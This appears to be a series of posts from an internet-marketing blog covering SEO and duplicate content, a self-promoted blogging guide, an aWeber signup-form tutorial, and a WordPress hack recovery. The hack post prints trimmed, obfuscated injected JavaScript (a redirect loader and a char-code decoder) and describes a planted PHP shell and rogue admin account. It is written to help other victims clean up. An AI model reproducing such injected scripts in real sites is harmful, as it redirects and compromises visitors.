First off…let me start by saying I am in no way associated with Google or anyone who works for Google.  I am a software engineer but I have not seen the code used to drive Google’s search engine bot.  With that being said I want to give you my take on how Google handles the whole duplicate content issue.

To give you a little background on how this came about I posted a link to a wordpress plugin developed by the people at EzineAriticles.com that allows you to take a blog post and then submit it to their system as a new article.  This is a great service and I am glad to see EzineArticles.com take this step but if you read the editorial guidelines of their site you would see that they do not allow duplicate content.

Doesn’t this fly in the face of that guideline?

NO!

When they say “No Duplicate Content”, they want to make sure that you are the author and that your article is not some PLR piece of junk.

So how does this new plugin help?  Well it is going to save you some time when you submit your unique content to their system.  Sure it is only a couple of button clicks and a copy/paste operation but I will take what I can get.  I just hope some of the other article submission sites get together and create one plugin that would do the same.

There are a lot of third party software packages that do this functionality but most of them don’t work right…I have yet to test one that does what it says it does.

OK…so let’s talk a little about Google and the duplicate content issues they come across.

When Google talks about duplicate content there really are two things they are referencing.

The first is affiliate type websites.

I am talking about those websites that are www.somesite.com but when I sign up I get a unique link that looks something like www.somesite.com/?id=brian
Google will find my link on some forum or some blog and follow that back only to find that the content is the exact same as the main www.somesite.com.

Now here is were the penalty kicks in.  If my affiliate page was different than the main page, my link would get a little link juice meaning I would get credit in Google’s eyes for a backlink.  But, since this is an affiliate page and the content is the exact same I will get no credit at all.

Now is there a penality for this?  From what I understand…YES.

The main site will get a negative score because Google does not like affiliate type pages to show up in search results.  Google wants good unique content.
The second is duplicate content on different websites.

This one is handled differently than what you might think.  Google’s bot will go out to the Internet and scrape content from all the websites that it knows about.  As it goes along it will pick up on duplicate content and store references to that content.

When a person does a search that that content is optimized for, Google will pick the page that it thinks is the originator of the content and show that page in the search engine results pages.  It will also mute the other instances of that content.

Google does this because they want variety.  So why is having duplicate content a good thing?

As Google makes determinations on content and relevance they will see that a bunch of sites have this duplicate content and they will determine that content must be good stuff for it to show up all over the place.  You actually get more link love if you set this up properly.

Google knows that content gets syndicated and sometimes it is not the authors fault that content is getting distributed all over the Internet.  Google is not going to punish you for something you might not have any control over.

So what is the best way to make sure you get credit for your content?

When I post new content, I wait a couple of days to make sure Google has indexed my new content.  After that, I publish that content to EzineArticles.com.  Once my article is published on their site and running, I will then post my article to about 20 other article sites.

The best part is…once that content is published, other marketers will use my articles on their sites and that gives me more backlinks that have tons of relevance in Google’s eyes.

It’s a win-win

Free – Targeted Web Traffic Is The Goal of Every Blogger

But…Most bloggers get wrong and their blogs suffer for it.

One of the most depressing things I have noticed over the years is how bloggers don’t stick to a plan and end up getting it all wrong.

Some of the more common mistakes are:

1. Using automation – Most have heard the more content you have the more traffic you will get.  That is not true.  You have to provide quality content that your readers trust.  What is the point of posting content for the search engines when your visitors will just get turned off and not come back.
2. Bad content – Some marketers think that these article spinners or plr products will provide an easy way to get content done.  Big myth!  If you have used plr or article spinners then you know how much time you have to review and edit.  You might as well just sit down and write the articles yourself.  You end up saving more time that way.
3. The wrong link strategy – Lots of backlinks are great and volume does have it’s benefits but the quality of the backlink is more inport to your blogs success.  Not just a bunch of links.  You might get some initial Google Love but it will quickly go away and then you’re screwed.

I have been a blogger for a couple of years now and I have tried it all.  I have learned what it takes to produce good quality traffic that converts really well.  I know the sites to get bookmarks from.  I know which directories to target for best results.

I don’t say these things to be arrogant or show how smart I am.  I tell you because I don’t want to see you waste your time and end up hurting your site more than if you did nothing.

There are proven SEO strategies that will help you be a better blogger and not waste a lot of time doing things that cost a lot of money and produce no results or that cost you a ton of time and leave your site high and dry.

I use blogs to develop traffic and then convert that traffic to sales using simple strategies that search engines love me for.

I can show you how to be a successful blogger as well.

If your looking to drive tons of free web traffic and have that traffic convert then I suggest you take a look at an awesome blogging site that will blow your mind.

I just wanted to warn you there seems to be a lot of wordpress blogs being hacked right now and it seems to be the same MO.

Last night I was making a post to my blog.  Once I got done, I went to view the post and make sure there were no errors or and everything looked cool.

To my surprise…all was not cool!

My page got redirected to another site!!!

I started jumping around to other pages and the same thing was happening.  Each page was getting redirected which means each of my blog visitors were going elsewhere and probably thinking I was causing it.  That was not the case.  Now I’m getting pissed.

I knew for this to be happening there had to be some kind of redirect script in one of the more common *.php files.  If you go to the appearance area there is a link to edit your site files.  The more common ones are listed on the right.  I check the index.php and the footer.php files but did not see anything out of the ordinary.  I then looked at my header.php and found this…

<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3Dpx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1′)</script>

To get more information on what this script does you can always visit this post I found

Wordpress injection attack and “affiliate ping-pong”

Removing this code is just the start…as you will soon see.

So I removed the redirection script and notified my hosting provider of what was going on.  Here is the response early this morning…

Hello,

It appears that at some point before your wordpress blog has been upgraded, it had been exploited and a PHP shell script had been uploaded to the account. This PHP shell was then used to modify your site. I have now removed this. Please ensure that all account passwords have been changed (included this wordpress adminsitrator password) and that any and all plugins have been updated to their most recent versions. Please let us know if you have any further questions.

—-

[root@gator550 /home/blyssy/public_html/brianlyssy.com/blog/wp-content/uploads]# find -iname “*.php”
./2009/09/28788.php

It appears the hacker was able to upload this 28788.php file to my wordpress directory.  This was the file that generated the code in the header.php file but it also did one other thing…

It created an administrator account on my wordpress blog!

If this has happened to you, you need to log into your cpanel and check out your wordpress database’s.  IF you don’t know how to, then I suggest you get a professional.

For those that want to go it alone…once your in your cpanel, you want to go to the databases section and select phpMyAdmin.

This will bring up a new window where you will see your databases listed on the left hand side.  If you don’t remember the name associated with the database, then don’t fret you can figure it out pretty quick.

Just pick on one.  You will see a list of tables for that database.

You want to look for wp_users and select it.  IF the current database your looking at does not have a wp_users, then use the drop down box at the top of the listing to select another database.

You want to look for an entry in the database that should not be there and delete it.

What led me to look there was in the wp-admin “users” area I had seen two admin entries.  One was me and the other was someone I did not know.

One of the fields had more code in it like this…

<script LANGUAGE=”JavaScript”>function Decode(){var temp=”",i,c=0,out=”";var str=”46!46!46!32!60!98!32!105!100!61!34!117!115!101!114!95!115!117!112!101!114!11714!105!112!116!34!62!l=str.length;while(c<=str.length-1){while(str.charAt(c)!=’!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp=”";}document.write(out);} </script><script LANGUAGE=”JavaScript”> Decode(); </script>

This is not the full code.  It has been trimmed down so you get the idea.

Anyway…I could not delete this account through the wp-admin area!

That is why I had to resort to going to the database.

I hope this helps others.  I would suggest everyone needs to check their blogs, update their blogs, and change their passwords.

I would so love to punch this asshole!  A couple of times!

I wanted to provide a quick update.  I have finally finished Power Niche Blogging.

This is a great guide (if I do say so myself) that shows you how to build a network of blogs that can drive tons of traffic and make sales.

I go through every detail in building an online empire that will produce some awesome results.  If building an online business in any niche is something that interests you, then you should definatly get this book.

Power Niche Blogging

Most people fail in business because advertising can get really expensive.  Especially if you advertise over a large period of time.

Power Niche Blogging makes it so you don’t have those costly advertising expenses.

Take a look and let me know what you think.

Here is a little video I did in my son’s room.  Gotta love the presentation…:)

.

Here is the link to get more info on the super duper offer.

http://opportunityfacts.com

People what more information and they want to know where to get it.  You have to provide that information in a format that suites your reader.  Email is just on way to deliver your message.

I created a little video…ok it’s like 30 minutes long but it shows you the entire process of seting up a list in your autoresponder account to getting the form on your blog.

That way people can sign up and get more cool information from you.  Here is the video.

Wasn’t that just the coolest thing you have ever seen on the internet?

Way better than anything else you have ever seen…right?

Let me know what you think by leaving a comment and if you want to sign up for my news letter to find out the latest things I am up to, be sure to fill out your info below.

I will not share your email with anyone else.  I hate spammy crap more than you do I’m sure.

15+ Alternatives to Your Boring Blog Editor

This is an awesome site that discusses several blog editors to provide the greatest amount of flexibility.

For instance, I am posting this from Flocks blogging editor capabilities.  It is easy to setup and helps with productivity.  You can blog right away.

Take some time to go through this post and review some great editor options.

This video is an introduction to promoting your blog site

If you would like to get more super cool videos like this, sign up to my news letter by filling out this form.

Be sure to leave a comment and let me know what you think.

Establishing an autoresponder for your blog is one the most important things you can do.  This is how you can reach your target market on an ongoing basis.

Email autoresponders come in many forms and it can be tough to determine the best.  I have used many autoresponder services and have found each have their strong points and their weak points.

An autoresponder service is just that, it’s a service you pay monthly for using.  These services will help with setting up forms and creating lists so all you have to do is plug in the html code to get you along your way.

Now you can setup a free autoresponder using your blog sites cpanel to get a program called PHPlist.  PHPlist is a great tool but for the blogger just starting out I would stick with an autoresponder service such as get response, aweber, icontact, etc…

These email service programs make setup a lot easier and it takes some of the spamming issues off your plate.  Most good services will do what is called a double opt in list which means giving a name and email address is not good enough.

With a double opt in list, the customer or prospect has to check their email inbox and click an activation link to be on the list.  This protects you and the autoresponder service.

The service I like to use is aWeber.  The interface is easy to follow and the tracking of email opens and clicks in links make it a powerful tool for your marketing research.

You want to know what interest your customers so you can provide more of the same.

To get started with an aWeber account, simply go to Aweber and sign up for an account.  In full disclosure aWeber has an affiliate system attached to it.  I make a couple of dollars every month when you click on my link.  When you get your account, you can promote your affiliate account and make a couple of dollars every month.

After you have created your account, you will want to create a list.  This list is where your subscribers will be placed for future emails.  In this article I will touch on creating your list, creating a form, and putting it on your blog.

After you have created your account and you have successfully logged in, you will want to start with creating a list for your subscribers.  Look for a link as show in this screen capture.

Now you will want to enter some basic information about your list.

You will want to give your List Name a meaningful name that will let you know what that list is intended for.  So if you have a site on wrestling and you have a news letter that talks about the latest wrestling news, then your List Name might be something like WestlingNL.  Then of course you would want to type in a description.

The from address should be from your blog sites system.  You would want to use something like a gmail account for this.  It might throw your subscribers off thinking they are getting spam.

The subscriber alerts is to let aweber know if you would like an email sent to you when a new person joins your list.  There is also a help link at the bottom right side of the page that looks something like this…

Just click on the links to help answer questions you might have.  They have a very nice walk-through of how to setup your list in detail.

The next thing you will want to do is setup your form.  Click the button at the top that says “Web Forms.”  You will then see a button like the picture below.

Click this button to start the web form creation process.  You will be presented with a screen that looks similar to this…

You will want to give your form a name.  I like to setup the type as In-Line.  I do not like pop up type forms.  The inline style seems to work the best for blogs.

Of course, if you get lost you can check out the help links at the bottom right side of the page.  They look like this…

These will go in depth about each option on the form details page.  After you have chosen your settings you will now want to go with your form design.  You can get there by clicking the tab that says “Design Form.”

I like to ask for a name and email.  You may want to play with this and just ask for an email.  I feel having the name helps with making my emails more personal to the prospect.

You can add more fields but then you reduce the chance of people filling out your form.  I would ask for what is necessary and no more.

After you have saved the changes to your form, you will see a listing of your form with a bunch of columns.  One of the columns is called HTML.  In that column there is a link that says Get HTML.  You will want to click that link and copy the code in the popup box.

Now that we have created our list and our form, it is time to add it to our website.  You can add your form to all of your posts if desired.

I would highly recommend it.

At the end of each post, you can simply say something like…”To get more details and special bonuses, be sure to signup for my news letter.”

This will provide people the opportunity to connect with you via email.  The way you would add your form to the post is to log into your blogs admin (dashboard) area and create a new post.

As you can see, the text would go into the online editor as normal.  Once you have written your article and added your highlighting, the last thing you would want to do is add your signup form to the end of the post.

Just click the tab that says HTML.  This will allow us to copy the form code we copied from aWeber earlier when we created our form.

Simply paste the code into the form and now you can preview your post.  It should look something like this…

That is it.  You have now added you news letter signup to your posts.  This makes it really easy for viewers to get connected with you and your special offers.

Brian Lyssy -

If you would like to get added to my news letter simply fill out the form.  Tons of cools stuff and no junk.